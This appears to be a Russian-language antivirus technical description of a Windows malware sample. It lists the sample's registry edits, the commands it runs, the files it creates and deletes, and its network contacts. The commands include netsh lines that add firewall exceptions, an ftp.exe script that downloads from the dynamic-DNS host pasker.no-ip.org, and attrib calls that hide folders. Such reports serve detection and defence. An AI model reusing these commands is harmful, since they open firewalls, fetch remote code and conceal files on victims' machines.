Техническая информация
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '<SYSTEM32>\ftp.exe' = '<SYSTEM32>\ftp.exe:*:Enabled:FTP'
Запускает на исполнение:
- '<SYSTEM32>\ping.exe' -n 20 pasker.no-ip.org
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "<SYSTEM32>\ftp.exe" FTP ENABLE
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 1000
- '<SYSTEM32>\findstr.exe' /i "5\.1\."
- '<SYSTEM32>\ftp.exe' -i -n -s:ftpcmd.dat pasker.no-ip.org
- '<SYSTEM32>\netsh.exe' firewall add portopening TCP 21 ftp
- '<SYSTEM32>\cmd.exe' /c ""c:\temp\dwn1.bat" "
- '<SYSTEM32>\wscript.exe' "c:\temp\hidedwn1.vbs"
- '<SYSTEM32>\attrib.exe' +A +S +H c:\tpm
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 360000
- '<SYSTEM32>\attrib.exe' +A +S +H c:\time
Изменения в файловой системе:
Создает следующие файлы:
- C:\temp\dwn1.bat
- C:\ftpcmd.dat
- C:\temp\hidedwn1.vbs
- C:\temp\Anagrafica.doc
Удаляет следующие файлы:
- C:\ftpcmd.dat
- C:\temp\hidedwn1.vbs
Сетевая активность:
Подключается к:
- 'localhost':1041
- 'pa####.no-ip.org':21
UDP:
- DNS ASK pa####.no-ip.org
Другое:
Ищет следующие окна:
- ClassName: 'WordPadClass' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
